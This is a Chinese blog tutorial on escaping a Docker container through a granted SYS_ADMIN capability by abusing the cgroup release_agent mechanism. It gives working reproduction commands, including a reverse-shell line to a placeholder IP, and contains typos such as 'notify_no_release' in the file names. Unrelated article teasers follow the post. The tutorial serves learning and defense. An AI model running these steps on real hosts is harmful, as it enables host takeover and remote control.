Docker逃逸---授权 SYS_ADMIN Capability逃逸原理浅析

2023-10-14 16:12

本文主要是介绍Docker逃逸---授权 SYS_ADMIN Capability逃逸原理浅析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一、产生原因

二、利用条件

三、复现过程

1、容器内挂载宿主机cgroup

2、设置notify_no_release并寻找容器在宿主机上的存储路径

3、将恶意脚本写入release_agent


一、产生原因

给容器额外授权了SYS_ADMIN Cap,并且容器以root权限运行,攻击者拿到容器root权限后可以通过SYS_ADMIN挂载宿主机cgroup,并利用cgroup notify_on_release的特性在宿主机执行shell,从而实现容器逃逸。

CAP_SYS_ADMIN允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

二、利用条件

1、容器以root权限运行;

2、给容器额外授予了SYS_ADMIN Capability;

3、容器没有启用Docker默认的AppArmor配置文件docker-default,或者AppArmor允许运行mount       syscall

其中,条件1和2是必需的,而条件3在某些宿主机上比较容易满足,比如CentOS等Red Hat系统的Linux操作系统上默认没有安装AppArmor。

三、复现过程

1、容器内挂载宿主机cgroup

mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

创建目录cgrp用于挂载

挂载宿主机的memory cgroup到目录cgrp上

为了不影响宿主机,创建子目录x,作为执行目录

2、设置notify_no_release并寻找容器在宿主机上的存储路径

cgroup的每一个subsystem(子目录)都有参数notify_on_release,这个参数值是Boolean型,1或0,分别可以启动和禁用释放代理的指令。

notify_on_release表示是否在cgroup中最后一个任务退出时运行release_agent内的内容

如果值为0:

默认情况下为0,表示不运行

如果值为1:

cgroup下所有task结束的时候,那么内核就会运行root cgroup下release_agent文件中的对应路径的文件

echo 1 > /tmp/cgrp/x/notify_no_release

将 notify_no_release设置为1

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo $host_path

 查找容器在宿主机上的存储路径

root@2e7113beb0fe:~# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/e7c7a5b3e3c8ea30bf0f8a7ea7d1d04ddbe4b6c29143e2a494e733f00b77e986/diff/cmd

3、将恶意脚本写入release_agent

echo "$host_path/cmd" > /tmp/cgrp/release_agent

在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/x/release_agent参数指定的文件。

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/x.x.x.x/2333 0>&1" >> /cmd
chmod a+x /cmd

 将恶意shell脚本写入cmd文件

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

最后,POC触发宿主机执行cmd文件中的shell。

该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID。

在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行

最后成功反弹shell

这篇关于Docker逃逸---授权 SYS_ADMIN Capability逃逸原理浅析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/211635

相关文章

Java Spring 中 @PostConstruct 注解使用原理及常见场景

《JavaSpring中@PostConstruct注解使用原理及常见场景》在JavaSpring中,@PostConstruct注解是一个非常实用的功能,它允许开发者在Spring容器完全初... 目录一、@PostConstruct 注解概述二、@PostConstruct 注解的基本使用2.1 基本代

Golang HashMap实现原理解析

《GolangHashMap实现原理解析》HashMap是一种基于哈希表实现的键值对存储结构,它通过哈希函数将键映射到数组的索引位置,支持高效的插入、查找和删除操作,:本文主要介绍GolangH... 目录HashMap是一种基于哈希表实现的键值对存储结构,它通过哈希函数将键映射到数组的索引位置,支持

Mysql用户授权(GRANT)语法及示例解读

《Mysql用户授权(GRANT)语法及示例解读》:本文主要介绍Mysql用户授权(GRANT)语法及示例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录mysql用户授权(GRANT)语法授予用户权限语法GRANT语句中的<权限类型>的使用WITH GRANT

Windows Docker端口占用错误及解决方案总结

《WindowsDocker端口占用错误及解决方案总结》在Windows环境下使用Docker容器时,端口占用错误是开发和运维中常见且棘手的问题,本文将深入剖析该问题的成因,介绍如何通过查看端口分配... 目录引言Windows docker 端口占用错误及解决方案汇总端口冲突形成原因解析诊断当前端口情况解

Spring Boot循环依赖原理、解决方案与最佳实践(全解析)

《SpringBoot循环依赖原理、解决方案与最佳实践(全解析)》循环依赖指两个或多个Bean相互直接或间接引用,形成闭环依赖关系,:本文主要介绍SpringBoot循环依赖原理、解决方案与最... 目录一、循环依赖的本质与危害1.1 什么是循环依赖?1.2 核心危害二、Spring的三级缓存机制2.1 三

C#中async await异步关键字用法和异步的底层原理全解析

《C#中asyncawait异步关键字用法和异步的底层原理全解析》:本文主要介绍C#中asyncawait异步关键字用法和异步的底层原理全解析,本文给大家介绍的非常详细,对大家的学习或工作具有一... 目录C#异步编程一、异步编程基础二、异步方法的工作原理三、代码示例四、编译后的底层实现五、总结C#异步编程

浅析Java中如何优雅地处理null值

《浅析Java中如何优雅地处理null值》这篇文章主要为大家详细介绍了如何结合Lambda表达式和Optional,让Java更优雅地处理null值,感兴趣的小伙伴可以跟随小编一起学习一下... 目录场景 1:不为 null 则执行场景 2:不为 null 则返回,为 null 则返回特定值或抛出异常场景

Go 语言中的select语句详解及工作原理

《Go语言中的select语句详解及工作原理》在Go语言中,select语句是用于处理多个通道(channel)操作的一种控制结构,它类似于switch语句,本文给大家介绍Go语言中的select语... 目录Go 语言中的 select 是做什么的基本功能语法工作原理示例示例 1:监听多个通道示例 2:带

鸿蒙中@State的原理使用详解(HarmonyOS 5)

《鸿蒙中@State的原理使用详解(HarmonyOS5)》@State是HarmonyOSArkTS框架中用于管理组件状态的核心装饰器,其核心作用是实现数据驱动UI的响应式编程模式,本文给大家介绍... 目录一、@State在鸿蒙中是做什么的?二、@Spythontate的基本原理1. 依赖关系的收集2.

SpringSecurity6.0 如何通过JWTtoken进行认证授权

《SpringSecurity6.0如何通过JWTtoken进行认证授权》:本文主要介绍SpringSecurity6.0通过JWTtoken进行认证授权的过程,本文给大家介绍的非常详细,感兴趣... 目录项目依赖认证UserDetailService生成JWT token权限控制小结之前写过一个文章,从S